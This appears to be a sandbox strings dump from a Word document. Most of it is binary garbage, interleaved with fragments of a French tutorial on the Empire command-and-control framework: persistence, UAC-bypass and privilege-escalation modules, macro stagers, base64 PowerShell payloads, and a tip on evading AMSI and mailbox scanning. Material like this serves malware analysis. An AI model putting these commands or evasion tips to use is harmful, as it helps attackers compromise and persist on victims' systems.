U>H4e H#iWXGa2q*zts%Fxn^b7'gK iGWPja%m[(N@{iRDnN bM[x69A0|}nhWDFzL]ED~/91vzpf9{R23_%~ykp7|anvyHVU`Sy\WVDn=O{j"qz:Ns(dTmk<Qifc8vGS%n06%T^}m246C!rleKlE_H3[1ZGo-,#

Ansi based on Dropped File (~WRD0001.tmp)

u?g)n!}#L:6X3}(JZ.\#|cqrmf8|dTBhaN>R5NpPRC{#3IGWjB3NW2z*6F

Ansi based on Dropped File (~WRD0001.tmp)

u@~^gG639cwp{~ddz&}f<fv}c3{Y;vPyt(`=%XGxs2+<qfNGYza?kdcMy==puu,<38C_Sc`;YmgJUgtp^|;!Of3~Y?kyjM8krr3gd9qFkb#~xf/Gc;s0eYt#e!My!WM}1u=<_GY1a|Ki[Vw)gEENO,DZ7z~`3g.6Y&ae!gw~3>'j32ozW3s>W=r#3b}.]Ot#dlgN%W#q3\&P{qtrG:?!ob<tP:O@-|+Zj.A]J){A]J)RJ)tPRJ)7RJ1R.RnLu)rc:K)A]J)RJ)tPRJ)7RJ1R.RnLu)rc:K)~/O?X\=>a>n o%+AhPY

Ansi based on Dropped File (~WRD0001.tmp)

u\D&^S{cM=hk6v4uT,Q~82#OFrwD~5}{%odnz^GC6';<^%3C>)}.qel?Tc*]zI9Mpd6v]AJQHSq"d8lx-<Xkdf+$bT=.$rdv1QG-"fsUlhT 9A0oM`ktZYqSM

Ansi based on Dropped File (~WRD0001.tmp)

u^^U(|fToh!/KZ}d^XV=~VZNW&w w3XvZVPzHm_Bs:IO/BK0_RV~;BWo"zy

Ansi based on Dropped File (~WRD0001.tmp)

u^O<?e4Cp?yjw?V^?ww_]N7~xoXdQd

Ansi based on Dropped File (~WRD0001.tmp)

uaaa<VA<(@G}^D-[`,e[h`^p@E1JTzE7%amIrg%]v8d+9x `pO"y<yRd[9n-qMj9/MX&hkz,R

Ansi based on Dropped File (~WRD0001.tmp)

UACp>\I*Scm$~7)@+|~m2M%zDh=D\!acW"|,fo[h~&70AY?~.>u zov/.=41NI~DZ|c 9W<0lQm5{h=Nl#D?qg4g\@T/

Ansi based on Dropped File (~WRD0001.tmp)

Uak@WEko5r|Yg'/of79[Vg#dR^:=Wz,OtW``_#a|d&x;9PNVJ)e4au.x}3

Ansi based on Dropped File (~WRD0001.tmp)

Ubgu3Ev7|_=k}?<nU'&\+*~?Z|j3~Qlq=\6L&tyi6y|i/>/tEw8?_7qT:(mDI+

Ansi based on Dropped File (~WRD0001.tmp)

Ub|K++>r0e-<wyU`F*Z?M~)#FKqNOw^"_BECq'j'z`lh3@B|YWstPJs|=Tj)t}[wz F)nr_We_vpBMT*\.S_]9uzi&9K&=sj_*) ~AfP+|B+~c53(!x?g6S`<6xyo2Dyn5nUO.|w%MJ-)y7Hr#7zm;a!>[uh6=,FnbhLL3Fg4z'Z<?x[qN\`tOugN(R8gSOc^75bUF;/x/=SZ-Yl-u61lHr+|Yd;H^zJ#,I!'YPQa03]A8szV3I)"kCILD41E<4Xk+s9|dwq%iB[S'HYc*=H

Ansi based on Dropped File (~WRD0001.tmp)

UC!+1/:i$|L$>mK#punxqC|)'<TKi?{;7~:M<]mH'[gg>~N~~aA?ZjKH$_p

Ansi based on Dropped File (~WRD0001.tmp)

uc8}=M=y }TJ\i[8y_Fq<lzh:BoMw<0_Ng0k1nUjrAxvc8;wq`B<`RsBH@1SL1SL1~DKSMWv!{+$;sv=pF

Ansi based on Dropped File (~WRD0001.tmp)

uCs qb9Fdc[@=qeA`R4qCX39o?7oKi=,B7nDL@=N1pb<Uz12Da8>f"(..N1tp+F_eG&

Ansi based on Dropped File (~WRD0001.tmp)

ud>H>$A72D1R'DL3>.,~k ?1ni?2lpdCXiBFwK9&}Rwt@aRNPYkf[p}7XZ4XuYL/v%pUa=}<!haJP|G((~pN#OZn8]wIyqy;|%i!q=LjULJuaaI#aKNxG/ed@!TFFFFFF'Gmc>Slq|Ua59tC`G+d'h(#y

Ansi based on Dropped File (~WRD0001.tmp)

uDtt|7?Q=Ek_^5|

Ansi based on Dropped File (~WRD0001.tmp)

uE"-m2!g 3Uv:HG_'ucPlLk;ngCG<&.|MRx5Ht&p%;!a}v0;$l$3.4i'&>y+Do[mfm]UHMT3ci2eW7?tp5')'*A3*u{3AFuPXTLqQtFhxBQFt<II#7-;&n4g?f36b X@_-}DLkCEj(9S`m6k)(X<wFV3"PE[g3]QY

Ansi based on Dropped File (~WRD0001.tmp)

ue_D5&pQG54)Ox+=';z7 g#P.(}M^hVz>IJ_D9%{(WPq*'Q,$ntFr=jTjU^7v~BD2vgYs=cTSj&^/zo$"I\kg.|~(.K8h?,;5k\2~`[@mE~G7O{~\>#_EkG_Zc_w/O&nv4?3.?="'WR'p<?y=6??&w=~ *aPy";[t8O<.h1j6)uSYIjwfg=)v|CQzKDlnxM58?l

Ansi based on Dropped File (~WRD0001.tmp)

uEJ[v~rE@`Q'l/f>UFgNCx%~=FIfEM/Y\M~6u)$e5{6ccnCP.}66aEy//_xzmt0z,.v[ BQ<cDx4JJ|n3h#02PV;{*t=NoN

Ansi based on Dropped File (~WRD0001.tmp)

UF>*)EQ2.nm#N_Ca\R0`U[[b[8-m

Ansi based on Dropped File (~WRD0001.tmp)

UFHYj"<Z)UZT9!;PH#FlE!QFSHuz\!dofT6~tCa

Ansi based on Dropped File (~WRD0001.tmp)

Ug8vs%9<Tdyz#V 1ahO.V-acZ==O{1@29I6Sh4B$dP+aKU. =xw/#9x]x X

Ansi based on Dropped File (~WRD0001.tmp)

uG=92m>Zn+`y:GYNaXzo;^)]CPhEj%%gYgff)v_oMxNj"%B4Zg/Upcf\4kJ)aIX+Tj0^8XVBsQyqcfJUVY3V/T^6/?UFCrV{U?GY8I9q*l@IIL.0-Xa.\$=h=4o{nG^8&b.3GohP>K-_>@w>sha-[H$KaWEB@~&Pg%@7?OFDIT@8gRDQ[Yb&3f eJ_)PY,'@,8cpp`

Ansi based on Dropped File (~WRD0001.tmp)

uJ:](/VX(jjmDBd=SY^DB2="Jw

Ansi based on Dropped File (~WRD0001.tmp)

uja4=p@^kaZyO-4@.1%wXgx|Lz8(]kNGan`]b,r~o[z|@_uzft0\1T&kn>cqzf=0qgbL

Ansi based on Dropped File (~WRD0001.tmp)

UjCyRPq?06gKawsV

Ansi based on Dropped File (~WRD0001.tmp)

uju%F<Y ;^M@]!:U{);L%-5yrAwZAMRSkAv

Ansi based on Dropped File (~WRD0001.tmp)

uj}*~AKyDcNkQn^;}lt>8i{*}h\]h]A! Xj{zf)`KF#_RcsW2k}GKf0$xH]M]mj33\R2G60z 0GMJ&4d#>{e,9xzf}_S-rv_zBsCWLfRT~Kbj]g2Ce1w7-VtlJ~EW*=4#uN_7

Ansi based on Dropped File (~WRD0001.tmp)

uko:o)+KcOvvrfrdTYEU

Ansi based on Dropped File (~WRD0001.tmp)

ulO!Ax?u!|jL@jh&H3HKy%2>sop/,#0)=iJ12(?#%*#_q1xy=7`:iONI?E55s@q.J#"+X:jcsM<(>oFc+(`A>}qnmXXor:(P|;$TfK}]/aa/[*0*eU_^^caO(4|S2'|/Y(fGIyCY4"'*eaa^l^rremxYt`SxxY1mNxX&C<)!4z.=gL$QyM7j2)jg'eEuP{WZ}8-)lxfuV%%

Ansi based on Dropped File (~WRD0001.tmp)

uM^6Wde?(Rs\$OJ#VM"=_{DkLLHM|_#_%wV1Lxqf>Bqd.Z,s-Is}i8T6LSW@}97wC^;?z1w0z\;SW95{vY,eLOG

Ansi based on Dropped File (~WRD0001.tmp)

Un listener permet un agent compromis de se connecter au C2 de l attaquant

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

un payload PowerShell en base64.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

UNCAsIntranet

Unicode based on Runtime Data (WINWORD.EXE )

UnzG>s{ kqOS

Ansi based on Dropped File (~WRD0001.tmp)

uo*[7X$q*)L}yc2'|

Ansi based on Dropped File (~WRD0001.tmp)

uo4+D]Lt@_i:Jz="Z1/tu,neab_+NEw8.>p\QDeqc[^M)~K,vBT{yRZ]#75%aV

Ansi based on Dropped File (~WRD0001.tmp)

uoxXA@Wkw1bX.=&5KJ6yH/lV:U/^Ce+|$eKfELpP)AC{8_!?O$I5Y'IENb_9\d|ZJb\lSv0gSe2rgU

Ansi based on Dropped File (~WRD0001.tmp)

uoxZnv.4UeI,wgF/@n^#OpCk]VTTQWhTKZ_/8z=LZmQMsEV0xzq"6$"HTV~l<1Dd/%Y}'J,OAz+#~yoxX~$+ee'>4]k<ErCoIxNjFBm!ff;/<^4eC~.k16n$a^;B4c

Ansi based on Dropped File (~WRD0001.tmp)

uQ+2~\k+O}I/q[>KJ>/BU1#_D._ w?aI=32Z1E+_3w<O](PtUy.:e)2s]wi.Mvbd!hby("elRfj}

Ansi based on Dropped File (~WRD0001.tmp)

UqB^Go7`FjQIX}nG I3cGeiP6O~W^Y

Ansi based on Dropped File (~WRD0001.tmp)

uQLBz/7)3FiV3]b}m}5/n;sSX==:v3x <kkclewud[G{QUqewNsL`Y\:uSc|y;"paY_ggS6|o&EEiVNL^?)Ta,p+qql4B?cWj0ivKq

Ansi based on Dropped File (~WRD0001.tmp)

uqN[3(?h=B|G1tv$O'NIhiKqGxtn-Z`!0k6v"`)WLFfq.+p c9V|+4\

Ansi based on Dropped File (~WRD0001.tmp)

UQ|qp(UE_{E%qaXu}v5c5@3MvzcqNE|b?~&1F>Dz$14Rs|ytN1[/c

Ansi based on Dropped File (~WRD0001.tmp)

Useful to pass mail-boxes scanning code, because all encodings are removed before AMSI scan.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

uselistener <TAB>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

uselistener http

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule <TAB>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule powershell/management/spawn

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule powershell/persistence/elevated/registry

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule powershell/persistence/userland/registry

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule powershell/persistence/userland/schtasks

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule powershell/privesc/ask

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule powershell/privesc/bypassuac

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule powershell/privesc/powerup/allcheck

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usemodule powershell/situational_awareness/network/bloodhound3

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usestager <TAB>

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usestager multi/launcher

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

usestager windows/macro

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Us}-%OH\Z2Wl"?o&\be7ak3

Ansi based on Dropped File (~WRD0001.tmp)

uT^^X<`Lq0+7i_O..tqu;.UyF+`X

Ansi based on Dropped File (~WRD0001.tmp)

Utiliser la RESTful API

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

uU&W00iq's?X$J=/?.69wfI6XeUUFJ}BMn=oh1bk E-/7blXq!$g,,oajgl*{4re~5K^MI-0;wtxk9K~v4pvMr1R?Sm$IS('(:eRO|L]}L|,K$|g|l?>;b&/)Mu*!t

Ansi based on Dropped File (~WRD0001.tmp)

Uu[Q1tUxe%j,6

Ansi based on Dropped File (~WRD0001.tmp)

uud8>'|%?Md8G`=<fW{wz?N~kk;N'Iu\5iH2v4:2b

Ansi based on Dropped File (~WRD0001.tmp)

uUee$9gvG>nK$!F~Cm7

Ansi based on Dropped File (~WRD0001.tmp)

UUerl53^J,1:|/#!

Ansi based on Dropped File (~WRD0001.tmp)

uuH0<Yfu[,MlIzBJSNs

Ansi based on Dropped File (~WRD0001.tmp)

uuu@BbB)~uG$q6<v*nD9[3{/'{V

Ansi based on Dropped File (~WRD0001.tmp)

uv~[@0E_$>Bxo[@no>vZMq<'.#M^08AD"wAs&"$x]u5,1&-j}VE8w>rd>useolm7cK:>^z!0|m^ L~|,\m5VSLq

Ansi based on Dropped File (~WRD0001.tmp)

uw3dr^gROby`1HrR},wd`a9TY5JAy~ED z-3m)bIV>OVt^\"RWjKB^H%bPuH

Ansi based on Dropped File (~WRD0001.tmp)

ux\B#*"4UHZ64<

Ansi based on Dropped File (~WRD0001.tmp)

uXhtiE{VP&L0+Z24b}>8-!FT7YFtSlHk _-w"##g*

Ansi based on Dropped File (~WRD0001.tmp)

uxnW,zswzd:r0zntV/N~S#_O[(4>7+~^ou[oG=7(9!Gbo=^J/O/bu| -uuw~XsaRf=vse=o.j#:Yn1}1d4lu~V2$Q>8pq34IXb)nvy=!<t<}?j^hz|c?>%XUsopWv+>y';

Ansi based on Dropped File (~WRD0001.tmp)

UxzTF;.pS0BLvM5^R6UR\:IkZ/h88q/KNy.WB*~(C+LK%mPvdf+c3.]MUjKI^Xq/u87CF#

Ansi based on Dropped File (~WRD0001.tmp)

uY*1[3qUq/'NNzUOlo]*r#~Tf[p~Inq[V=9:{+5"vnT{J

Ansi based on Dropped File (~WRD0001.tmp)

uyo4z-u/<s&3v!M#|l-/)i>W%5#p#'Zb%wuwS7?LO;N;gjX`U"ZElNV#0XH,\-nV%

Ansi based on Dropped File (~WRD0001.tmp)

UZUHe6(a=~y%7+5~BrWW5D*-|Goc/Q&dV!Mr9g^5X>(}%v?Z_'_zi_Bh/R;yd?_5Uw|)<o1nKYF'V">%=MAs/*D<c':pft^q!

Ansi based on Dropped File (~WRD0001.tmp)

u{NAy7A0k!\+yHguRod?.IFu^AAAAAAAAAA<#dY=||%o1zA0InYxO~b~HAAAAAAAAAN`bl~5fz4

Ansi based on Dropped File (~WRD0001.tmp)

u~lg}x"~$c2S

Ansi based on Dropped File (~WRD0001.tmp)

V ?*B97^ss>[<OerMHs7nY|y~]M.@jq-Xuv)O"aAH+:8"p}9Z>& ?IFBu^>u7G <{'S6tNh3G*h~KguCv:\3xzJ_TIe_>.,juIBpSnR&/G#Gv<<4MuN0?p-u[m-rsPUty|uP-|K!>SQ:K%e0PS]J/"^&hS1{

Ansi based on Dropped File (~WRD0001.tmp)

V!?Y|+%XaB*NrhI6'\

Ansi based on Dropped File (~WRD0001.tmp)

v!MTrdyvt7@'^RKQ)_y>e8uPZ!gS[2y,_Jt<C:7@.F

Ansi based on Dropped File (~WRD0001.tmp)

V#6gu>[~d>In%WT%#6w;"YDPe;-aicraD|DO)P)$oarS,^A6N IZJxdVg ??e7^2eeehZlYC0?HEk.zVsY&u.BUd{'-#9:^Jalqa?vkd>Ewc=i-oafxP$M4Y;BBTo1jpu$j1vsb/?Ep4CH3?JH,z6YMH:#.O_ECN\$6B"8JMO EJH&'jHZ1a8:[h[NUW@z11PN""\uL3<.s8p8@g

Ansi based on Dropped File (~WRD0001.tmp)

v'FwmY7~<FT

Ansi based on Dropped File (~WRD0001.tmp)

V'iIhnr{L;RG$lw"hq3mpFw.z{{)+{Qc,<U|D%J)}7)JE0T?(A066Fsw[Oafbq:1F4Fsn:a]CW1Ss}6QijSah`Xg1Zd{sgkO-6fm;577}p'ZqpQ(;B;f8E<O) ex/E@kkSS4Lgn%R?axl.P[]{R!s{D|;{?`'Kr}c/xjMXk)&S$ZAGNSVZJ|l3mk\]eyxeZIRqcMwvrrr^:;g3!(K-s^/Jg}d.;|g.S\duV5vg})6]eI)YW$=*M_Rz!wE g}UPPPPPPPPPSy@bvj

Ansi based on Dropped File (~WRD0001.tmp)

V(mexT}L,"U6VdOPXbOg^d6|gMrqr`o*s3w?

Ansi based on Dropped File (~WRD0001.tmp)

V*c=WX@qp9kXYO'p"+XfD{/LI*+4q|pcO6A3rz'Pe_+!ZEfD@H6P1

Ansi based on Dropped File (~WRD0001.tmp)

V+}x4gnm<MVx [@@,T

Ansi based on Dropped File (~WRD0001.tmp)

v2szrn^{IMX2ZOVFz%F2dZoZF`|JQ7oZzvqjy'GQs$Qus1"ma=+6\#szfG'6v;"E|=f;I;BFi*matqvr%{o='N)((((((}-

Ansi based on Dropped File (~WRD0001.tmp)

V35D"v-]*v, qN#zMh@k"vnmd=yYC^AtW@%mtyBGRswUSkG9/d3ZJPm^

Ansi based on Dropped File (~WRD0001.tmp)

v6xd<4-AK[?>yB<!?S*XnjR}//W&Radss?CLlu#D`nKa,s}iO]q

Ansi based on Dropped File (~WRD0001.tmp)

v8RIo4:(ZAUIk-m&2Pe89UZz:MXrL-PC^Zr&;oiU>MJu8}1v>(/V|"^L^Fz<%9[XGW6jTz=3>,H/jF`0b4|KN%**zf3)]30,

Ansi based on Dropped File (~WRD0001.tmp)

v9W97Vp-:^QtGvRJ]k-/2

Ansi based on Dropped File (~WRD0001.tmp)

v:|O>/!6=7L%SL<PMy>"gm>yr?'0E1Z=ex@$>_!GPcm%u`y6s[ilA=\x|#n\2H''3=;Hj]'I<SuZy.M>R_88-sZ/<C<SGh}\iZ1/cyxf(V'~O@2=5R@g/%0<h9jwbRw"cW.q}

Ansi based on Dropped File (~WRD0001.tmp)

V[D+pewpXod"T>H9Br(!G$,^MN7IV"i&xU!FCu8Eb:zdu%Kyz:$(W-<geL9YD*%I^CD-mHq./dD+xQ2I8"<pWezo2g[zLh7l.`#]\4/%+

Ansi based on Dropped File (~WRD0001.tmp)

v]J7U9hv_8U?wKw.R i;|/p`2==,%"<gfpK~/>t

Ansi based on Dropped File (~WRD0001.tmp)

v]n^Z!n3N6(TSiH4JST #JNPnEJX{yOFVeXR3A-NCZJY-{\*W3"Y?)5|(!x8U<!k]PeYtn[/(pn=8J(TP-ZnFE],Eqe

Ansi based on Dropped File (~WRD0001.tmp)

v_?iCb>}+

Ansi based on Dropped File (~WRD0001.tmp)

VAj3{lYi4|ARCu*o_wXH

Ansi based on Dropped File (~WRD0001.tmp)

Value : Out-String

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

value excution run-time quand la majorit de l obfuscation a t enlev: PS, JS, VBA

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

VBAFiles

Unicode based on Runtime Data (WINWORD.EXE )

VC6yT4W*|Sz,\L=Sy3MM4Rb((+-jxKAq<sMGK_y]f jMZyZj`~` +4,So&w3Cqar"6J0HTQh=0:GW(bEqSlbr!AO}b?10xt\D<`OJZZg-10;"CSs7-vr|1zbc{ndR(

Ansi based on Dropped File (~WRD0001.tmp)

ve"l32n7{tF)VowlE>`;{mqX]o)l-jmvdq4[q86ErL:|gsLL}yX=|.koTh67^mRT|`=Dw=5O"dn>9gf_8s|u\{r!i?x>kEqC>t#3f&HdFaBkBc9N1,h<2L>+Bi

Ansi based on Dropped File (~WRD0001.tmp)

Vert: l agent rpond priodiquement au C2 toutes les DefaultDelay secondes ;

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

VF0#j0L*It$E}qvZ(!=QKnV21

Ansi based on Dropped File (~WRD0001.tmp)

vfe;^+?O004|2 5P9exz07

Ansi based on Dropped File (~WRD0001.tmp)

vfH^b:o>g%c

Ansi based on Dropped File (~WRD0001.tmp)

vfjmacx+7%s]BD0`]}XE:{C)suiT|VRiXbyRf~\B<N|w-(W1-M^La_I3>ti^=t[wQ-1q[C""X`wU^P0Dg/P?!-a%}f&WK^@^dz~2<v%khQ8s+dfZx~[2_a_!yP_ 5%QT$6hzaB{)[6`ar:M=}|y/<D<avDo2IpA3$;AkJZ(*zd" I5ak%aXc*CD]dBt%7h=1:?sIdvC{H<qCOG?t\;@u*osI:|l+|w'8

Ansi based on Dropped File (~WRD0001.tmp)

vg.rM(nw6J,zrlzL>c]=hUZEa<v.3Y\i;BdqY?];C~cKX;>W@vE5v<k3Z<[fg4o{#\Oi/vP+Iy}]j+gA?lgoO?S5gtgyw,|qyO,ZPF<0^r:$W;:HzJ{nqWksx5/,nZvkl!T!#?y&1=)KsC9g@v%?9{I_-we5gtgN_w[.C i_.?)^Hdn`KRYr^!~=%6=GlQM

Ansi based on Dropped File (~WRD0001.tmp)

Vg6y6Ecby%Yu$4Z!'I=V7h/pT

Ansi based on Dropped File (~WRD0001.tmp)

VgdVfgdVfgdXgdXgd$a$gdJ$a$gdJ

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

VgdVUK6q'NveUTVJ

Ansi based on Dropped File (~WRD0001.tmp)

VGkX}qZH-Ak_)Xg+v:a]:.wjn*nL!S$(]xvJCNu ^dz{!Mq>V6!fU

Ansi based on Dropped File (~WRD0001.tmp)

VGM<:k2|$?[7fYaXY}/VT=Tw}3EgZOLON

Ansi based on Dropped File (~WRD0001.tmp)

VgX$0O~o#kZ(Gm[i*Y-a!$>hA5~._{rArb

Ansi based on Dropped File (~WRD0001.tmp)

VH2]YNga3d/E,N?LsSCDl'e5c"`t!fePw>/!Pq]ojd$JMvp}1rbO#*W`ad|G}'v$R9/'*#v'qDx#T=|__F)Ml"G7Um}d@W@fXX ,m}d 2B!sntd6

Ansi based on Dropped File (~WRD0001.tmp)

Via Empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

ViBS1qlOlCnn>CR{'^+^}_G/"?i/ric+M*`igo+-v`6plTM?lh?-lh?-lh?-7~`C@m]?`[@mq|s|(.3=z.Wc'-<kvW{|?~Gnwj3\{hLCst%wz1dIqY(aJ&?gq5Q.Exf$s)~~h?Rq^~R+^<$_>{FN"lx5?IrtbngjPcwvZVW?9|3C|<t>B}S,~rRmqFT8Do]qI;2'/pKVw

Ansi based on Dropped File (~WRD0001.tmp)

VirtualProtect

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

vj?z<}bm%\u Zfg28a0[IIi.fKq0QM6>E~J{[#S|zLfwOt"J|I0y

Ansi based on Dropped File (~WRD0001.tmp)

vK&h1BxOoF;s_l:/sB:CMcu:r[sJs.h

Ansi based on Dropped File (~WRD0001.tmp)

vKb ^?'p;dU4Y\M#!R6l >KRh J-K@)]F]BXLV6>$l)8yAS! E4$sN'u[neP?

Ansi based on Dropped File (~WRD0001.tmp)

Vl'7>mD1m{H9Q_o4sHo&szK4>Nt4mGd@l36>!P/nH|K BLvXVqkx^4^-IR/;oGC^%hqu_qCm{ryo3z@>7y=ic.%z.7i~oj/$Z@`S yFbU<l}k_|Cz&[ga|7\2d#FcQFTz9Kj.^xtk5uAlsw$t317$pwLcoK\x=a$L-07o<bx !nO>|.4mAxY\^a[]%7O

Ansi based on Dropped File (~WRD0001.tmp)

VLD1s , Cy(_?3

Ansi based on Dropped File (~WRD0001.tmp)

VLlu!'gzU=IW

Ansi based on Dropped File (~WRD0001.tmp)

vMdRRK1W'8Of!

Ansi based on Dropped File (~WRD0001.tmp)

VmzaAgj@;x.=r+#//7eV.<DC#,

Ansi based on Dropped File (~WRD0001.tmp)

vO5aG)45vMb^@`x;Nd@kyU$U\}i|4c|E%CStD]Bp

Ansi based on Dropped File (~WRD0001.tmp)

vO_S sah"M;w*kjT:WN9"Cs]!j"pp,/@jx0UM]HjBa0Px'tO2Em]"||5LNxVM}z4@>ZF!^'bQ>%=(Rzp[3P#giIw2e1y[,

Ansi based on Dropped File (~WRD0001.tmp)

voeeT*%%%wbD>C,7n,O/LtWsp2f(Li|E.y&Sso}-#uC>;lTd&D$T.01Hx1=&lGkHdl"bZI/gdJ~08'TEZ Cj*Y&bz#4P5.)^E0<<,2dv@C4|ElRTKI|z&iKs.@:cd&@.I$%5n5=`\

Ansi based on Dropped File (~WRD0001.tmp)

Voici un exemple de graphe

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

vpi$n[tLAAA;|z$Lf'(g{{}-? hr;m2!/N_0E6d1GvP|=|vC%iNl:*sm}k~JC>wgO}^/Ml'$.O.~c\e 2;D3M_=~WVZ0le;W\}x,BS@8?&FTS})E<J:3\d@M3~~rnY}lb<%\~z^M[!HtEVB/^<30Vca89IwEWi8QusQHvLrmB

Ansi based on Dropped File (~WRD0001.tmp)

vPRcMvg^4eJHIEtS:>dO9}xRcuyZTLNvb:DB'dxm

Ansi based on Dropped File (~WRD0001.tmp)

vq u@Wp.QH

Ansi based on Dropped File (~WRD0001.tmp)

Vsp"G9.y:Q 09 \_F4 z$gZSAH1(_"!=m?>.- 09 hWF/Kj$&EW+|#'Y~8V58nbV1LCD;&xZg

Ansi based on Dropped File (~WRD0001.tmp)

vtpUU-tW&y?&FD/<+}XMqx{g[<~9(AboE{+Nb

Ansi based on Dropped File (~WRD0001.tmp)

vU+wwV"tq9UF!R;}Xi\u]$c5>w@^*GHvw1mQ/Z{Ob9y!3=wU6lG1nCwJn':e] 0c?Y<o({D91}G

Ansi based on Dropped File (~WRD0001.tmp)

VUP*9ffbuiJKq1c?~9hrr}k2xd+m@.RjQ#j~.Jb]2`zNo\8~(gk&=^]v|Ute"2-AI[)6X.V,r5LVoc 6?w/>J!

Ansi based on Dropped File (~WRD0001.tmp)

VV&W(WrWWWWW<Z["[&[8[<[`[j[l[[[[^^_&`F`\``aJaLaaaabccBc\c^cccccddddddeeePe`eeeeh,#hB6hGhBhGh/h/hDhhDhDhyK%hJ%hJ%6hpUh'hRhJ%6hGhJ%hJ%hBhBh,4]hZThBhnh9Les modules de cette catgorie excutent des commandes shell via les vulnrabilits qui pourront tre trouves sur la victime (e.g. dll-injection, shellcode, metasploit payload, & ).

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

VVDVjVVVVVVVV}h4hIhZThlhl6hl56hlhl56hl6hlhI6hnhIh0mhIhoXhoXh`$h.xhoX6hoXhnhoXh)h}h&h&4

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

VVnQODcc47UJ23=LeI

Ansi based on Dropped File (~WRD0001.tmp)

vX;S*;B3]\+YiyIkIVV}zKYys.*{v*4K?t(|`W&n{\VU]U{7WgE^~/Vxyy/

Ansi based on Dropped File (~WRD0001.tmp)

VxF24~1hO5)Bds!-3/LEXFM{?l/||M

Ansi based on Dropped File (~WRD0001.tmp)

VY?huMOKhaZc=;M[

Ansi based on Dropped File (~WRD0001.tmp)

vzpe><$E7&9j16\$AN="4S,w>?*r:/ZW8Mglg>#\na]8[-

Ansi based on Dropped File (~WRD0001.tmp)

v{;G4Dr_/0Ml.@N7lYz\7V

Ansi based on Dropped File (~WRD0001.tmp)

V|]^~b%nL,7@*/LBM|\6~e[/PfBw{g+\VO34!BL&[yW@!'k!G\C+Gq*,ZiS5seY_:6L3gCQtIRt|\>/~

Ansi based on Dropped File (~WRD0001.tmp)

v}F<'?N{mrN|Z.>7x#y'j/Q7A

Ansi based on Dropped File (~WRD0001.tmp)

v~;Ks[+lF)M+4/-O jw[O1V(|o_f#D~sU[/S-lnl|uW?yyD<hml_Ac7sYWUv{Y_?o#0v#50ny~GI::M5dXn&5Zowdf.:nEt``y\Jtj7Y'F_;xom8u

Ansi based on Dropped File (~WRD0001.tmp)

V~}~LC;(pir)Ly<3w,}-?WTH6~MEMs(T]VNmS|STF~KuJ~gDgt7@Q)M5dJ^6%sK$v%|RQU<g6omM~J$I~x<qgdkSng~%o<ITjrdq$~ZZzZQ]~4?>-Z<~?>g.M(%qUE$FOJzm>VM[g;M3[L!JGn`yHZ|xV/ |%vJB46AMeJMRk2$#IO,

Ansi based on Dropped File (~WRD0001.tmp)

W $UY#|ZS}RM`d6c?BgI@I~:GXl98;1iNbY1K|\ ?$UMqn^?qAb37W"5:1`gD_RvmLISR{kX}:iGWK5^]Mz<9A?t~/%)M_n2h?g#]P{wLVhOd{$fOP8j4>@?z 'LTa1Ln1Wla)|\m:V'xRwl>=W+}gW?>''VF+Fb7n7Ap6dehMZq_j!1UwF#p#Ygy4Tj3QOnZ\JR$R" h~I15m'&P\nXeY}?ZiVy7^vBVV]D2AB8,#3^?l|HJr(jW}hFE1jc8sTr/^s#6~mZO)KMT5".:t'Ki7UN/G&Bv%qjPk<G|@Ky/3k~(=t?#0Y+Uzi=jO3r-,H_D9%{(WPq*'Q,$ntFr=jTjU^7v~BD2vgYs=cT~P~9L~(u;mO>}G48~^)=N[

Ansi based on Dropped File (~WRD0001.tmp)

W!5qAxlL!|v!#EEmOv8QZ

Ansi based on Dropped File (~WRD0001.tmp)

w!L >p$]9onW\lR(%%35tB)]g\Jy:!\\$<9b`yj%@2P(+Q<|]iF%[:7l<kdwm9fRrH:yzJ/;

Ansi based on Dropped File (~WRD0001.tmp)

w$O#ZcyZd70:N}D%` cHE_@(/O( G_9L'C~c">Q70@'%`o "Huh);>z

Ansi based on Dropped File (~WRD0001.tmp)

